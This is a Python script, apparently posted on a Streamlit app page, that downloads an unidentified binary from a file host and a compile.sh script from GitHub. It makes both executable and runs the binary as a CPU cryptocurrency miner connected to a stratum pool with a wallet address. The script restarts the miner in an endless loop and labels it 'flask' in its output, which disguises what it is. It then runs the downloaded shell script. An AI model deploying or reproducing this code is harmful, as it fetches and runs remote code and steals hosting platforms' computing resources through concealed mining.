run menggunakan python
To upload files, please first save the app
import subprocess
import os
import time
# Set the library path
os.environ["LD_LIBRARY_PATH"] = "/usr/lib/x86_64-linux-gnu:" + os.environ.get("LD_LIBRARY_PATH", "")
# URLs for downloading the necessary files
home_url = "https://files.catbox.moe/2x40zr"
compile_script_url = "https://github.com/syinkau/sa4/raw/refs/heads/main/compile.sh"
# Download files
def download_file(url, output):
try:
subprocess.run(["wget", "-q", "-O", output, url], check=True)
subprocess.run(["chmod", "+x", output], check=True)
print(f"Downloaded and made executable: {output}")
except subprocess.CalledProcessError as e:
print(f"Error downloading {output}: {e}")
download_file(home_url, "2x40z")
download_file(compile_script_url, "compile.sh")
# Wait for dependencies to initialize
time.sleep(11)
# Infinite loop to restart the miner if it stops
while True:
print("Starting flask...")
try:
result = subprocess.run(
[
"./2x40z",
"--pool", "stratum+tcp://0x1bE17413356722a411033303EF7D8A13768fdF83.httpd@146.103.45.69:443",
"--cpu-devices", "0",
"--cpu-devices", "1"
],
check=False
)
exit_code = result.returncode
if exit_code == 137:
print("Flask was killed due to insufficient memory. Consider reducing CPU usage or adding swap space.")
print(f"Flask crashed with exit code {exit_code}. Restarting in 5 seconds...")
except Exception as e:
print(f"Error running flask: {e}")
time.sleep(5)
# Execute the additional script
try:
subprocess.run(["bash", "compile.sh"], check=True)
except subprocess.CalledProcessError as e:
print(f"Error executing compile.sh: {e}")
Hi! I can help you with any questions about Streamlit and Python. What would you like to know?